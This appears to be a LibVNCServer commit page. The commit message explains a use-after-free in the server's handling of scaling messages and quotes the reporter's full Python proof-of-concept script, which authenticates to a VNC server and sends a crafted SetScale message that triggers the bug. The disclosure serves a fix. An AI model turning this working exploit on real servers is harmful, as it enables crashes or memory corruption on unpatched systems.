• Christian Beier's avatar
    Fix Use-After-Free vulnerability in LibVNCServer wrt scaling. · 668d3e37
    Christian Beier authored
    Reported by Ken Johnson <Ken.Johnson1@telus.com>.
    
    The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)
    
          if (msg.ssc.scale == 0) {
              rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
              rfbCloseClient(cl);
              return;
          }
    
          rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
          rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
          rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
    
          rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
          return;
    
    at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.
    
        else
        {
            rfbResizeFrameBufferMsg        rmsg;
            rmsg.type = rfbResizeFrameBuffer;
            rmsg.pad1=0;
            rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
            rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
            rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
            if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
                rfbLogPerror("rfbNewClient: write");
                rfbCloseClient(cl);
                rfbClientConnectionGone(cl); << Call which may can lead to a free.
                return FALSE;
            }
        }
        return TRUE;
    
    Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.
    
    POC script to trigger the vulnerability:
    
    ---snip---
    
    import socket,binascii,struct,sys
    from time import sleep
    
    class RFB:
    
        INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
        AUTH_NO_PASS  = "\x01"
        AUTH_PASS = "\x02"
        SHARE_DESKTOP = "\x01"
    
        def AUTH_PROCESS(self,data,flag):
            if flag == 0:
                # Get security types
                secTypeCount = data[0]
                secType = {}
                for i in range(int(len(secTypeCount))):
                    secType[i] = data[1]
                return secType
            elif flag == 1:
                # Get auth result
                # 0 means auth success
                # 1 means failure
                return data[3]
    
        def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
            try:
                from Crypto.Cipher import DES
            except:
                print "Error importing crypto. Please fix or do not require authentication"
                sys.exit(1)
            if len(PASSWORD) != 8:
                PASSWORD = PASSWORD.ljust(8, '\0')
    
            PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
            PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
            crypto = DES.new(PASSWORD)
            return crypto.encrypt(data)
    
        def reverse_bits(self,x):
            a=0
            for i in range(8):
                a += ((x>>i)&1)<<(7-i)
            return a
    
    def main(argv):
    
        print "Proof of Concept"
        print "Copyright TELUS Security Labs"
        print "All Rights Reserved.\n"
    
        try:
            HOST = sys.argv[1]
            PORT = int(sys.argv[2])
        except:
            print "Usage: python setscale_segv_poc.py <host> <port> [password]"
            sys.exit(1)
        try:
            PASSWORD = sys.argv[3]
        except:
            print "No password supplied"
            PASSWORD = ""
    
        vnc = RFB()
    
        remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        remote.connect((HOST,PORT))
    
        # Get server version
        data = remote.recv(1024)
        # Send 3.8 version
        remote.send(vnc.INIT_3008)
        # Get supported security types
        data = remote.recv(1024)
        # Process Security Message
        secType = vnc.AUTH_PROCESS(data,0)
    
        if secType[0] == "\x02":
            # Send accept for password auth
            remote.send(vnc.AUTH_PASS)
            # Get challenge
            data = remote.recv(1024)
            # Send challenge response
            remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))
    
        elif secType[0] == "\x01":
            # Send accept for None pass
            remote.send(vnc.AUTH_NO_PASS)
    
        else:
            print 'The server sent us something weird during auth.'
            sys.exit(1)
    
        # Get result
        data = remote.recv(1024)
        # Process result
        result = vnc.AUTH_PROCESS(data,1)
    
        if result == "\x01":
            # Authentication failure.
            data = remote.recv(1024)
            print 'Authentication failure. Server Reason: ' + str(data)
            sys.exit(1)
    
        elif result == "\x00":
            print "Authentication success."
    
        else:
            print 'Some other authentication issue occured.'
            sys.exit(1)
    
        # Send ClientInit
        remote.send(vnc.SHARE_DESKTOP)
    
        # Send malicious message
        print "Sending malicious data..."
        remote.send("\x08\x08\x00\x00")
        remote.close()
    
    if __name__ == "__main__":
        main(sys.argv)
    
    ---snap---
    668d3e37
Name
Last commit
Last update
client_examples Loading commit data...
common Loading commit data...
compat/msvc Loading commit data...
examples Loading commit data...
libvncclient Loading commit data...
libvncserver Loading commit data...
m4 Loading commit data...
rfb Loading commit data...
test Loading commit data...
utils Loading commit data...
webclients Loading commit data...
.gitignore Loading commit data...
AUTHORS Loading commit data...
CMakeLists.txt Loading commit data...
COPYING Loading commit data...
ChangeLog Loading commit data...
Doxyfile Loading commit data...
LibVNCServer.spec.in Loading commit data...
Makefile.am Loading commit data...
NEWS Loading commit data...
README Loading commit data...
TODO Loading commit data...
autogen.sh Loading commit data...
configure.ac Loading commit data...
libvncclient.pc.in Loading commit data...
libvncserver-config.in Loading commit data...
libvncserver.pc.in Loading commit data...